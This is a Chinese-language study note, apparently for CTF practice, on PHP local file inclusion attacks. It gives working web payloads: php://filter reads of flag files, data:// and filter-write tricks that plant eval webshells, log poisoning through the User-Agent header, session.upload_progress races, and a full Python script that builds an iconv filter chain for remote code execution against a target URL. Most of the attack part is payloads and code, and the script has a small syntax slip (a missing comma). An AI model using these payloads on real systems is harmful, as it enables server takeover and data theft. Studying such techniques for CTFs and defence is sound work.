文件包含

LFI(本地文件包含)

(local file include) 本地文件包含。文件包含分为两种,一种是本地文件包含,一种是远程文件包含。很好理解,本地文件包含就是只能包含服务器中有的文件,而远程文件包含就是可以远程包含别的服务器的文件。这里一下就能知道。远程文件包含的危害肯定是大于本地文件包含的。

文件包含的定义

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行。注意我们这里的定义,包含的文件不一定是后缀为php的文件,可以是任意文件类型,只要其他含有php代码且语法正常那么系统都会把它当作一个php文件进行执行。所以我们可以使用图片马加上文件包含达到getshell 的操作。使用一般都比较的多,比如我们写多个页面,页头和页尾都使用相同的文件,那我们就没必要写这个重复的代码,只需要写一份文件然后再其他代码中直接包含进去。有利于代码复用。如果文件包含的文件类型是php的话会直接执行php的代码。如果他包含的是一个文本,那他就会直接把内容显示。

文件包含函数

PHP文件包含函数

  1. include:
    • 包含并运行指定文件,在包含过程中出错会报错,不影响执行后续语句
  2. include_once:
    - 仅包含一次文件。会检查文件是否被包含过,若已被包含则不会再次包含
    
  3. require:
    - 在包含过程中出错,就会直接退出,**不执行**后续语句
    
  4. require_once:
    - 和 require 完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含
    

文件包含的绕过

伪协议的妙用

  • 伪协议的运用:伪协议的学习PHP: 支持的协议和封装协议

    - 过滤器filter://读文件:`?file=php://filter/convert.base64-encode/resource=flag.php`
    
    • data://: 某些字符串被过滤,可以使用data协议编码后传入 如:php被替换为???,那么可以传入

        
      1
      data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs
      1. convert.base64-deconde

        1
        ?file=php://filter/write=convert.base64-decode/resource=shell.phpcontent=abPD9waHAgQGV2YWwoJF9SRVFVRVNUWzFdKT8+
      2. rot13

        1
        2
        ?file=php://filter/write=string.rot13/resource=shell.php(要进行两次url全编码)
        content=<?php system(‘tac flag.php’);?> (rot13)
      3. 或者是filter协议写入

        1
        2
        ?file=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php(要进行两次url全编码)
        content=<?php @eval($_REQUEST[1]);?> (base64编码)

日志包含拿shell

一些日志文件默认路径:

  1. nginx日志文件:/var/log/nginx/access.log
  2. apache日志文件:/var/log/ apache | apache2 | httpd /access.log
  3. iis日志文件:%systemroot%\system32\logfiles\

下面用的是nginx的日志文件路径:/var/log/nginx/access.log

1
2
3
4
在ua头写一句话,再传参包含即可
user_agent:<?php eval($_post[1]);?>
然后:
include($_GET[1]);&1=/var/log/nginx/access.log

ps:

  1. 日志包含尽量一次成功,不然错误代码会影响后面代码解析 可以事先在本地试一下再传
  2. 在Ua中传入不会进行解码,因此编码绕过是无效的 而在url中写入则会被url编码,没到达php就会被写入日志文件,同样不行

session.upload_progress

利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户

利用条件:

  1. 存在文件包含漏洞 or session反序列化漏洞
  2. 知道session文件存放路径,可以尝试默认路径
  3. 具有读取和写入session文件的权限

由于php.ini默认配置的关系

  1. session.use_strict_mode默认值为0, 此时用户可以自己定义Session ID 如:设置cookie:PHPSESSID=hhh,那么PHP会在服务器上创建一个文件:/tmp/sess_hhh

    即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值由ini.get(“session.uploadprogress.prefix”)+由我们构造的session.upload_progress.name值组成, 最后被写入sess文件里

  2. session.upload_progress.cleanup = on 会导致文件上传后,session文件内容立即清空 可以利用条件竞争,在session内容被清空前进行包含

协议绕过

allow_url_fopenallow_url_include 主要是针对 http ftp 两种协议起作用, 因此可以使用SMB、WebDav协议等方式来绕过限制。

利用ssrf读取文件

php curl实现发送get和post请求 - 简书 (jianshu.com)

phar文件包含

详情、例题请看php反序列化内笔记。

PHP7卡临时文件包含

https://blog.csdn.net/qq_62989306/article/details/125114940

LFI RCE

https://articles.zsxq.com/id_wx85v4auoqam.html

  1. 利用pearcmd.php,在tmp或者某可写目录下面生成一个webshell然后包含导致rce

https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html

  1. 利用php://filter/的各种编码直接rce
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import requests

#参数file

url = "http://192.168.190.191/index.php"

file_to_use = "index"

command = "whoami"

#<?=`$_GET[0]`;;?>

base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {

'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',

'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',

'C': 'convert.iconv.UTF8.CSISO2022KR',

'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',

'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB'
'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',

's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',

'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',

'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',

'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',

'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',

'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',

'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',

'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',

'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',

'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',

'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',

'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'

}

# generate some garbage base64

filters = "convert.iconv.UTF8.CSISO2022KR|"

filters += "convert.base64-encode|"

# make sure to get rid of any equal signs in both the string we just generated and the rest of the file

filters += "convert.iconv.UTF8.UTF7|"

for c in base64_payload[::-1]:

filters += conversions[c] + "|"

# decode and reencode to get rid of everything that isn't valid base64

filters += "convert.base64-decode|"

filters += "convert.base64-encode|"

# get rid of equal signs

filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

print(final_payload)

r = requests.get(url, params={

"0": command,

\#"action": "include",

"file": final_payload

})

print(r.text)